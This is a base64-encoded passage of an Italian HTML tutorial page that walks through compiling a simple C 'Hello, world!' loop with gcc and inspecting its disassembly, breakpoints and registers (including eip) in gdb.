wYW4gc3R5bGU9ImNvbG9yOiAjY2M2NmNjOyI+MTA8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Ozwvc3Bhbj4gaTxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPisrPC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDE7PC9zcGFuPgogIDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjMTIzOzwvc3Bhbj4KICAgIDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwMDA2NjsiPnByaW50Zjwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQwOzwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICNmZjAwMDA7Ij4mcXVvdDtIZWxsbywgd29ybGQhPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMDk5OyBmb250LXdlaWdodDogYm9sZDsiPlxuPC9zcGFuPiZxdW90Ozwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQxOzwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij47PC9zcGFuPgogIDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjMTI1Ozwvc3Bhbj4KICA8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDAwNjY7Ij5yZXR1cm48L3NwYW4+IDxzcGFuIHN0eWxlPSJjb2xvcjogI2NjNjZjYzsiPjA8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Ozwvc3Bhbj4KPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiMxMjU7PC9zcGFuPjwvcHJlPjwvZGl2PjwvZGl2PgoKPHA+UXVlc3RvIHByb2dyYW1tYSBub24gZmEgYWx0cm8gY2hlIHN0YW1wYXJlIDEwIHZvbHRlIGRpIHNlZ3VpdG8gbGEgc3RyaW5nYSAmIzgyMjA7SGVsbG8gd29ybGQmIzgyMjE7LiBUYWxlIGNvZGljZSBhbmNoZSBzZSByaXN1bHRhIG1vbHRvIHNlbXBsaWNlIGUgYmFuYWxlLCDDqCB0dXR0YXZpYSB1dGlsZSBhIGNhcGlyZSBpbiBwcmltYSBiYXR0dXRhIGlsIGZ1bnppb25hbWVudG8gZGVsbCYjODIxNzthc3NlbWJseS4gUHJvY2VkaWFtbyBkdW5xdWUgY29uIGxhIGNvbXBpbGF6aW9uZTo8L3A+Cgo8ZGl2IGNsYXNzPSJ3cF9zeW50YXgiPjxkaXYgY2xhc3M9ImNvZGUiPjxwcmUgY2xhc3M9InBlcmwiIHN0eWxlPSJmb250LWZhbWlseTptb25vc3BhY2U7Ij48c3BhbiBzdHlsZT0iY29sb3I6ICM2NjY2NjY7IGZvbnQtc3R5bGU6IGl0YWxpYzsiPiMgZ2NjIC1nIGZpcnN0cHJvZy5jIC1vIGZpcnN0cHJvZzwvc3Bhbj48L3ByZT48L2Rpdj48L2Rpdj4KCjxwPk9yYSBjaGUgYWJiaWFtbyBsJiM4MjE3O2VzZWd1aWJpbGUgcGFzc2lhbW8gYWxsJiM4MjE3O2FuYWxpc2kgY29uIDxlbT5nZGI8L2VtPjo8L3A+Cgo8ZGl2IGNsYXNzPSJ3cF9zeW50YXgiPjxkaXYgY2xhc3M9ImNvZGUiPjxwcmUgY2xhc3M9InBlcmwiIHN0eWxlPSJmb250LWZhbWlseTptb25vc3BhY2U7Ij48c3BhbiBzdHlsZT0iY29sb3I6ICM2NjY2NjY7IGZvbnQtc3R5bGU6IGl0YWxpYzsiPiMgZ2RiIC1xIC4vZmlyc3Rwcm9nPC9zcGFuPgo8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQwOzwvc3Bhbj5nZGI8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQxOzwvc3Bhbj4gc2V0IGRpcyBpbnRlbAo8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQwOzwvc3Bhbj5nZGI8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQxOzwvc3Bhbj4gbGlzdAo8c3BhbiBzdHlsZT0iY29sb3I6ICNjYzY2Y2M7Ij4xPC9zcGFuPiAgICAgICA8c3BhbiBzdHlsZT0iY29sb3I6ICM2NjY2NjY7IGZvbnQtc3R5bGU6IGl0YWxpYzsiPiNpbmNsdWRlPC9zcGFuPgo8c3BhbiBzdHlsZT0iY29sb3I6ICNjYzY2Y2M7Ij4yPC9zcGFuPgo8c3BhbiBzdHlsZT0iY29sb3I6ICNjYzY2Y2M7Ij4zPC9zcGFuPiAgICAgICA8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDAwNjY7Ij5pbnQ8L3NwYW4+IG1haW48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQwOzwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQxOzwvc3Bhbj4KPHNwYW4gc3R5bGU9ImNvbG9yOiAjY2M2NmNjOyI+NDwvc3Bhbj4gICAgICAgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiMxMjM7PC9zcGFuPgo8c3BhbiBzdHlsZT0iY29sb3I6ICNjYzY2Y2M7Ij41PC9zcGFuPiAgICAgICAgIDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwMDA2NjsiPmludDwvc3Bhbj4gaTxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjs8L3NwYW4+CjxzcGFuIHN0eWxlPSJjb2xvcjogI2NjNjZjYzsiPjY8L3NwYW4+ICAgICAgICAgPHNwYW4gc3R5bGU9ImNvbG9yOiAjYjFiMTAwOyI+Zm9yPC9zcGFuPiA8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQwOzwvc3Bhbj5pPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+PTwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICNjYzY2Y2M7Ij4wPC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjs8L3NwYW4+IGkgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMGZmOyI+JmFtcDtsdDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij47PC9zcGFuPiA8c3BhbiBzdHlsZT0iY29sb3I6ICNjYzY2Y2M7Ij4xMDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij47PC9zcGFuPiBpPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Kys8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM0MTs8L3NwYW4+CjxzcGFuIHN0eWxlPSJjb2xvcjogI2NjNjZjYzsiPjc8L3NwYW4+ICAgICAgICAgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiMxMjM7PC9zcGFuPgo8c3BhbiBzdHlsZT0iY29sb3I6ICNjYzY2Y2M7Ij44PC9zcGFuPiAgICAgICAgICAgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMDY2OyI+cHJpbnRmPC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDA7PC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogI2ZmMDAwMDsiPiZxdW90O0hlbGxvLCB3b3JsZCE8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDAwOTk7IGZvbnQtd2VpZ2h0OiBib2xkOyI+XG48L3NwYW4+JnF1b3Q7PC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDE7PC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjs8L3NwYW4+CjxzcGFuIHN0eWxlPSJjb2xvcjogI2NjNjZjYzsiPjk8L3NwYW4+ICAgICAgICAgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiMxMjU7PC9zcGFuPgo8c3BhbiBzdHlsZT0iY29sb3I6ICNjYzY2Y2M7Ij4xMDwvc3Bhbj4gICAgICAgIDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwMDA2NjsiPnJldHVybjwvc3Bhbj4gPHNwYW4gc3R5bGU9ImNvbG9yOiAjY2M2NmNjOyI+MDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij47PC9zcGFuPgo8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQwOzwvc3Bhbj5nZGI8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQxOzwvc3Bhbj48L3ByZT48L2Rpdj48L2Rpdj4KCjxwPkNvbiBsJiM4MjE3O29wemlvbmUgPGVtPi1xPC9lbT4gZXZpdGlhbW8gZGkgc3RhbXBhcmUgYmFubmVyIGludXRpbGksIG1lbnRyZSBjb24gbCYjODIxNztvcHppb25lIDxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxlbT5zZXQgZGlzIGludGVsPC9lbT48L3NwYW4+IGFiYmlhbW8gdW4gb3V0cHV0IGRlbGwmIzgyMTc7YXNzZW1ibHkgbW9sdG8gcGnDuSBsZWdnaWJpbGUuPGJyIC8+ClByb3NlZ3VpYW1vIGRpc2Fzc2VtYmxhbmRvIGlsIDxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxlbT5tYWluPC9lbT48L3NwYW4+IGUgZGFuZG8gdW5hIHByaW1hIG9jY2hpYXRhIGFsbGEgbG9jYXppb25lIGRlbGxhIG1lbW9yaWE6PC9wPgoKPGRpdiBjbGFzcz0id3Bfc3ludGF4Ij48ZGl2IGNsYXNzPSJjb2RlIj48cHJlIGNsYXNzPSJwZXJsIiBzdHlsZT0iZm9udC1mYW1pbHk6bW9ub3NwYWNlOyI+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM0MDs8L3NwYW4+Z2RiPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM0MTs8L3NwYW4+IGRpc2Fzc2VtYmxlIG1haW4KRHVtcCBvZiBhc3NlbWJsZXIgY29kZSA8c3BhbiBzdHlsZT0iY29sb3I6ICNiMWIxMDA7Ij5mb3I8L3NwYW4+IGZ1bmN0aW9uIG1haW48c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij46PC9zcGFuPgoweDA4MDQ4M2M0IDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjo8L3NwYW4+ICAgIGxlYSAgICBlY3g8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij4sPC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjOTE7PC9zcGFuPmVzcDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPis8L3NwYW4+MHg0PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM5Mzs8L3NwYW4+CjB4MDgwNDgzYzggPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Ojwvc3Bhbj4gICAgPHNwYW4gc3R5bGU9ImNvbG9yOiAjYjFiMTAwOyI+YW5kPC9zcGFuPiAgICBlc3A8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij4sPC9zcGFuPjB4ZmZmZmZmZjAKMHgwODA0ODNjYiA8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij46PC9zcGFuPiAgICA8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDAwNjY7Ij5wdXNoPC9zcGFuPiAgIERXT1JEIFBUUiA8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzkxOzwvc3Bhbj5lY3g8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij4tPC9zcGFuPjB4NDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjOTM7PC9zcGFuPgoweDA4MDQ4M2NlIDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjo8L3NwYW4+ICAgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMDY2OyI+cHVzaDwvc3Bhbj4gICBlYnAKMHgwODA0ODNjZiA8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij46PC9zcGFuPiAgIG1vdiAgICBlYnA8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij4sPC9zcGFuPmVzcAoweDA4MDQ4M2QxIDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjo8L3NwYW4+ICAgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMDY2OyI+cHVzaDwvc3Bhbj4gICBlY3gKMHgwODA0ODNkMiA8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij46PC9zcGFuPiAgIDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwMDAwMDsgZm9udC13ZWlnaHQ6IGJvbGQ7Ij5zdWI8L3NwYW4+ICAgIGVzcDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPiw8L3NwYW4+MHgxNAoweDA4MDQ4M2Q1IDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjo8L3NwYW4+ICAgbW92ICAgIERXT1JEIFBUUiA8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzkxOzwvc3Bhbj5lYnA8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij4tPC9zcGFuPjB4ODxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjOTM7PC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPiw8L3NwYW4+MHgwCjB4MDgwNDgzZGMgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Ojwvc3Bhbj4gICBqbXAgICAgMHg4MDQ4M2VlCjB4MDgwNDgzZGUgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Ojwvc3Bhbj4gICBtb3YgICAgRFdPUkQgUFRSIDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjOTE7PC9zcGFuPmVzcDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjOTM7PC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPiw8L3NwYW4+MHg4MDQ4NGQwCjB4MDgwNDgzZTUgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Ojwvc3Bhbj4gICBjYWxsICAgMHg4MDQ4MmY0CjB4MDgwNDgzZWEgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Ojwvc3Bhbj4gICBhZGQgICAgRFdPUkQgUFRSIDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjOTE7PC9zcGFuPmVicDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPi08L3NwYW4+MHg4PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM5Mzs8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+LDwvc3Bhbj4weDEKMHgwODA0ODNlZSA8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij46PC9zcGFuPiAgIDxzcGFuIHN0eWxlPSJjb2xvcjogI2IxYjEwMDsiPmNtcDwvc3Bhbj4gICAgRFdPUkQgUFRSIDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjOTE7PC9zcGFuPmVicDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPi08L3NwYW4+MHg4PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM5Mzs8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+LDwvc3Bhbj4weDkKMHgwODA0ODNmMiA8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij46PC9zcGFuPiAgIGpsZSAgICAweDgwNDgzZGUKMHgwODA0ODNmNCA8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij46PC9zcGFuPiAgIG1vdiAgICBlYXg8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij4sPC9zcGFuPjB4MAoweDA4MDQ4M2Y5IDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjo8L3NwYW4+ICAgYWRkICAgIGVzcDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPiw8L3NwYW4+MHgxNAoweDA4MDQ4M2ZjIDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjo8L3NwYW4+ICAgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMDY2OyI+cG9wPC9zcGFuPiAgICBlY3gKMHgwODA0ODNmZCA8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij46PC9zcGFuPiAgIDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwMDA2NjsiPnBvcDwvc3Bhbj4gICAgZWJwCjB4MDgwNDgzZmUgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Ojwvc3Bhbj4gICBsZWEgICAgZXNwPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+LDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzkxOzwvc3Bhbj5lY3g8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij4tPC9zcGFuPjB4NDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjOTM7PC9zcGFuPgoweDA4MDQ4NDAxIDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjo8L3NwYW4+ICAgcmV0CkVuZCBvZiBhc3NlbWJsZXIgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMDY2OyI+ZHVtcDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij4uPC9zcGFuPjwvcHJlPjwvZGl2PjwvZGl2PgoKPHA+UXVlc3RvIG91dHB1dCBjaSBtb3N0cmEgbGEgdHJhZHV6aW9uZSBkZWxsYSBmdW56aW9uZSA8ZW0+PHNwYW4gc3R5bGU9InRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyI+bWFpbjwvc3Bhbj4gPC9lbT5kZWwgbm9zdHJvIHByb2dyYW1tYSBpbiBhc3NlbWJseS4gQWQgdW4gcHJpbW8gc2d1YXJkbyDDqCBwb3NzaWJpbGUgY2FwaXJlIGxhIHNpbnRhc3NpOiA8ZW0+PHNwYW4gc3R5bGU9InRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyI+bG9jYXppb25lIGRlbGxhIG1lbW9yaWE8L3NwYW4+IGluIGVzYWRlY2ltYWxlOiA8c3BhbiBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Ij5vcGVyYXRvcmU8L3NwYW4+IHJlZ2lzdHJvIDxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPmRlc3RpbmF6aW9uZTwvc3Bhbj4sIHJlZ2lzdHJvIGQmIzgyMTc7PHNwYW4gc3R5bGU9InRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyI+b3JpZ2luZTwvc3Bhbj48L2VtPi4gVHV0dGF2aWEgaW4gcXVlc3RvIG1vbWVudG8gbmVzc3VuIHJlZ2lzdHJvIHJpc3VsdGEgdmlzdWFsaXp6YWJpbGUsIHByb3ByaW8gcGVyY2jDqCBhbmNvcmHCoCBpbCBwcm9ncmFtbWEgbm9uIMOoIHN0YXRvIGVmZmV0dGl2YW1lbnRlIGxhbmNpYXRvLiBQb25pYW1vIGR1bnF1ZSA8c3BhbiBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Ij48ZW0+YnJlYWs8L2VtPjwvc3Bhbj4gYWwgbWFpbiwgbGFuY2lhbW8gbCYjODIxNztlc2VndWliaWxlIGUgYW5hbGl6emlhbW8gaSByZWdpc3RyaTo8L3A+Cgo8ZGl2IGNsYXNzPSJ3cF9zeW50YXgiPjxkaXYgY2xhc3M9ImNvZGUiPjxwcmUgY2xhc3M9InBlcmwiIHN0eWxlPSJmb250LWZhbWlseTptb25vc3BhY2U7Ij48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQwOzwvc3Bhbj5nZGI8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQxOzwvc3Bhbj4gYnJlYWsgbWFpbjxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjo8L3NwYW4+CkJyZWFrcG9pbnQgPHNwYW4gc3R5bGU9ImNvbG9yOiAjY2M2NmNjOyI+MTwvc3Bhbj4gYXQgMHg4MDQ4M2Q1PHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Ojwvc3Bhbj4gZmlsZSBmaXJzdHByb2c8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij4uPC9zcGFuPmM8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij4sPC9zcGFuPiBsaW5lIDY8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij4uPC9zcGFuPgo8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQwOzwvc3Bhbj5nZGI8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQxOzwvc3Bhbj4gcnVuClN0YXJ0aW5nIHByb2dyYW08c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij46PC9zcGFuPiA8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij4uLzwvc3Bhbj5maXJzdHByb2cKJm5ic3A7CkJyZWFrcG9pbnQgPHNwYW4gc3R5bGU9ImNvbG9yOiAjY2M2NmNjOyI+MTwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij4sPC9zcGFuPiBtYWluIDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDA7PC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDE7PC9zcGFuPiBhdCBmaXJzdHByb2c8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij4uPC9zcGFuPmM8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij46PC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogI2NjNjZjYzsiPjY8L3NwYW4+CjxzcGFuIHN0eWxlPSJjb2xvcjogI2NjNjZjYzsiPjY8L3NwYW4+ICAgICAgICAgPHNwYW4gc3R5bGU9ImNvbG9yOiAjYjFiMTAwOyI+Zm9yPC9zcGFuPiA8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQwOzwvc3Bhbj5pPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+PTwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICNjYzY2Y2M7Ij4wPC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjs8L3NwYW4+IGkgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMGZmOyI+JmFtcDtsdDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij47PC9zcGFuPiA8c3BhbiBzdHlsZT0iY29sb3I6ICNjYzY2Y2M7Ij4xMDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij47PC9zcGFuPiBpPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Kys8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM0MTs8L3NwYW4+CjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDA7PC9zcGFuPmdkYjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDE7PC9zcGFuPiBpIHIKZWF4ICAgICAgICAgICAgMHhiZmUzZmMwNCAgICAgICA8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij4tPC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogI2NjNjZjYzsiPjEwNzU1Nzc4NTI8L3NwYW4+CmVjeCAgICAgICAgICAgIDB4YmZlM2ZiODAgICAgICAgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+LTwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICNjYzY2Y2M7Ij4xMDc1NTc3OTg0PC9zcGFuPgplZHggICAgICAgICAgICAweDEgICAgICA8c3BhbiBzdHlsZT0iY29sb3I6ICNjYzY2Y2M7Ij4xPC9zcGFuPgplYnggICAgICAgICAgICAweGI4MDBiZmY0ICAgICAgIDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPi08L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjY2M2NmNjOyI+MTIwNzkxMDQxMjwvc3Bhbj4KZXNwICAgICAgICAgICAgMHhiZmUzZmI1MCAgICAgICAweGJmZTNmYjUwCmVicCAgICAgICAgICAgIDB4YmZlM2ZiNjggICAgICAgMHhiZmUzZmI2OAplc2kgICAgICAgICAgICAweDgwNDg0MjAgICAgICAgIDxzcGFuIHN0eWxlPSJjb2xvcjogI2NjNjZjYzsiPjEzNDUxMzY5Njwvc3Bhbj4KZWRpICAgICAgICAgICAgMHg4MDQ4MzEwICAgICAgICA8c3BhbiBzdHlsZT0iY29sb3I6ICNjYzY2Y2M7Ij4xMzQ1MTM0MjQ8L3NwYW4+CmVpcCAgICAgICAgICAgIDB4ODA0ODNkNSAgICAgICAgMHg4MDQ4M2Q1CmVmbGFncyAgICAgICAgIDB4MjAwMjg2IDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjOTE7PC9zcGFuPiBQRiBTRiBJRiBJRCA8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzkzOzwvc3Bhbj4KY3MgICAgICAgICAgICAgMHg3MyAgICAgPHNwYW4gc3R5bGU9ImNvbG9yOiAjY2M2NmNjOyI+MTE1PC9zcGFuPgpzcyAgICAgICAgICAgICAweDdiICAgICA8c3BhbiBzdHlsZT0iY29sb3I6ICNjYzY2Y2M7Ij4xMjM8L3NwYW4+CmRzICAgICAgICAgICAgIDB4N2IgICAgIDxzcGFuIHN0eWxlPSJjb2xvcjogI2NjNjZjYzsiPjEyMzwvc3Bhbj4KZXMgICAgICAgICAgICAgMHg3YiAgICAgPHNwYW4gc3R5bGU9ImNvbG9yOiAjY2M2NmNjOyI+MTIzPC9zcGFuPgpmcyAgICAgICAgICAgICAweDAgICAgICA8c3BhbiBzdHlsZT0iY29sb3I6ICNjYzY2Y2M7Ij4wPC9zcGFuPgpncyAgICAgICAgICAgICAweDMzICAgICA8c3BhbiBzdHlsZT0iY29sb3I6ICNjYzY2Y2M7Ij41MTwvc3Bhbj4KPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM0MDs8L3NwYW4+Z2RiPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM0MTs8L3NwYW4+IGkgciBlaXAKZWlwICAgICAgICAgICAgMHg4MDQ4M2Q1ICAgICAgICAweDgwNDgzZDU8L3ByZT48L2Rpdj48L2Rpdj4KCjxwPkluIHBhcnRpY29sYXJlIGFuYWxpenppYW1vIGlsIHJlZ2lzdHJvIGwmIzgyMTc7PGVtPmVpcDwvZW0+LCBpbCBxdWFsZSBwdW50YSBhbGxhIHByb3NzaW1hIGlzdHJ1emlvbmUgZGEgZXNlZ3VpcmUsIGFuYWxpenphbmRvIGxhIG1lbW9yaWEgc3VsbGEgcXVhbGUgc3RhIHB1bnRhbmRvLiBFbnRyYW1iaSBpIGNvbWFuZGkgbW9zdHJhbm8gbG8gc3Rlc3NvIG91dHB1dCBwcm9wcmlvIHBlcmNow6ggZWZmZXR0aXZhbWVudGUgc3RpYW1vIGVmZmV0dHVhbmRvIGxhIHN0ZXNzYSByaWNoaWVzdGEuPC9wPgoKPGRpdiBjbGFzcz0id3Bfc3ludGF4Ij48ZGl2IGNsYXNzPSJjb2RlIj48cHJlIGNsYXNzPSJwZXJsIiBzdHlsZT0iZm9udC1mYW1pbHk6bW9ub3NwYWNlOyI+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM0MDs8L3NwYW4+Z2RiPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM0MTs8L3NwYW4+IHg8c3B